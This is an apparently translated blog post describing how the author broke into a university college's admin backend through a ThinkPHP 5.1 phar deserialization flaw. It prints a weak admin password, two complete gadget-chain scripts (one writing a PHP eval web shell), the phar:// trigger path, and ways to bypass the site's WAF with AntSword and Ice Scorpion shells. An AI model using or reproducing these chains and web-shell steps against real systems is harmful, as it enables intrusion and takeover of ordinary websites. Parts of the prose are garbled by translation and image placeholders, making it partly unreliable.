Phar deserialization GetShell in the background of a secondary college of a university

I think this hole is quite interesting, so I can record it.

Firstly, the source code was found during directory scanning of another secondary collegewww.rar, and through some page tests, it was inferred that the two secondary colleges should use the same CMS

Analyzing the source code, it was found that the ThinkPHP 5.1.34 LTSframework
Insert image description here
obtained the background access path through APP and Public/bhadmin
Insert image description here
Insert image description here

There is a weak password in the background login (weak passwords are really bad forever):admin/123456

Analyzing the source code, we found that there is ashowlog()method under the System controller

Insert image description here

	public function showlog()
	{
    
    
		$path    = input('post.path','');
		if ($path == '') return json(0);
        if (!file_exists($path)) return json('文件不存在');
        $content = file_get_contents($path,false);
        return json($content);
    }

$path receives the parameter passed by post, and the parameter name is path. If $path is empty, the return value is a>0, otherwise it will check whether the file exists. If it exists, file_get_content() will be read into json format and returned. input()The method functions are as follows:

if (!function_exists('input')) {
    
    
    /**
     * 获取输入数据 支持默认值和过滤
     * @param string    $key 获取的变量名
     * @param mixed     $default 默认值
     * @param string    $filter 过滤方法
     * @return mixed
     */
    function input($key = '', $default = null, $filter = '')
    {
    
    
        if (0 === strpos($key, '?')) {
    
    
            $key = substr($key, 1);
            $has = true;
        }

        if ($pos = strpos($key, '.')) {
    
    
            // 指定参数来源
            $method = substr($key, 0, $pos);
            if (in_array($method, ['get', 'post', 'put', 'patch', 'delete', 'route', 'param', 'request', 'session', 'cookie', 'server', 'env', 'path', 'file'])) {
    
    
                $key = substr($key, $pos + 1);
            } else {
    
    
                $method = 'param';
            }
        } else {
    
    
            // 默认为自动判断
            $method = 'param';
        }

        if (isset($has)) {
    
    
            return request()->has($key, $method, $default);
        } else {
    
    
            return request()->$method($key, $default, $filter);
        }
    }
}

showlog()The method parameters are controllable, and $path is passed infile_exists(), file_get_contents(). First, here is an arbitrary file read , but the point is not that, and there are many public deserialization exploit chains on the Internet. As everyone knows. When compressing the file package, the user-defined will be stored in serialized form. With the protocol, it can be Automatic deserialization operations are implemented when parameters of certain functions (usually file operation functions) are controllable. ThinkPHP 5.1.xPharmeta-dataphar://

Then if we pass in a constructed phar file in the background, and then use at the location of $path Accessing the file via protocol can trigger the access route of the , methods: Phar://phar反序列化showlog/bhadmin/system/showlog

Insert image description here

Then you need to find an upload point and get the absolute path of the uploaded file.
Insert image description here

Add information There is an editor here, you can upload image previews, and you can get the absolute path
Insert image description here
In summary, you can construct itPharDeserialization GetShell, directly use the chain publicly available on the Internet

<?php
namespace think{
    
    
    abstract class Model{
    
    
        private $withAttr = [];
        private $data = [];
        public function __construct($function,$parameter){
    
    
            $this->data['smi1e'] = $parameter;
            $this->withAttr['smi1e'] = $function;
        }
    }
}

namespace think\model{
    
    
    use think\Model;
    class Pivot extends Model
    {
    
    }
}

namespace think\process\pipes {
    
    
    use Phar;
    use think\model\Pivot;
    class Windows{
    
    
        private $files = [];
        public function __construct($function, $parameter){
    
    
            $this->files = [new Pivot($function, $parameter)];
        }
    }


    $function = 'assert';
    $parameter = 'phpinfo()';
    $a = new Windows($function, $parameter);
    $phar = new Phar('test.phar');
    $phar->stopBuffering();
    $phar->setStub(file_get_contents("pic.jpg") . '<?php __HALT_COMPILER(); ?>');
    $phar->addFromString('test.txt', 'test');
    $phar->setMetadata($a);
    $phar->stopBuffering();
}

Put a picture named pic.jpg in the same directory, run the file, and modify the generated test.phar suffix to < a i=3>Then uploadtest.jpg

Insert image description here

Return toshowlog() method, trigger directly: Trigger:path=phar://public/kindedit/attached/image/20230531/64765e58e79df.jpg

Insert image description here

Construct to write to Shell

<?php
namespace think{
    
    
    abstract class Model{
    
    
        private $withAttr = [];
        private $data = [];
        public function __construct(){
    
    
            $this->data['smi1e'] = 'D:\\xxx\\xxx\\xxx\\public\\kindedit\\attached\\image\\20230531\\d72a3676c4413.php';
            $this->data['jelly'] = '<?php @eval($_POST[m]);?>';
            $this->withAttr['smi1e'] = 'file_put_contents';
        }
    }
}

namespace think\model{
    
    
    use think\Model;
    class Pivot extends Model
    {
    
    }
}

namespace think\process\pipes {
    
    
    use Phar;
    use think\model\Pivot;
    class Windows{
    
    
        private $files = [];
        public function __construct($function, $parameter){
    
    
            $this->files = [new Pivot($function, $parameter)];
        }
    }


    $function = 'assert';
    $parameter = 'phpinfo()';
    $a = new Windows($function,$parameter);
    $phar = new Phar('test.phar');
    $phar->stopBuffering();
    $phar->setStub(file_get_contents("pic.jpg") . '<?php __HALT_COMPILER(); ?>');
    $phar->addFromString('test.txt', 'test');
    $phar->setMetadata($a);
    $phar->stopBuffering();
}

Insert image description here

Successfully written to the shell, but the Ant Sword connection still reports an error, guessing that there is waf
Insert image description here

Proxy Ant Sword traffic to Burp

Insert image description here

The test found that there is indeed a WAF
Insert image description here

But after many tests, we found that this waf is more friendly and filters the @ and base64_decode keywords, which can be bypassed, base64_decodeYou can use splicing to bypass,@It can be removed directly without affecting the function, and you can directly use Burp's matching/replacement function

Insert image description here

After bypassing waf, you can successfully connect to the shell
Insert image description here

Insert image description here

If you find it inconvenient to proxy to Burp for replacement, you can also upload Ice Scorpion's AES encrypted shell without bypassing WAF.
Insert image description here

Guess you like

Origin blog.csdn.net/qq_35607078/article/details/132007405
Recommended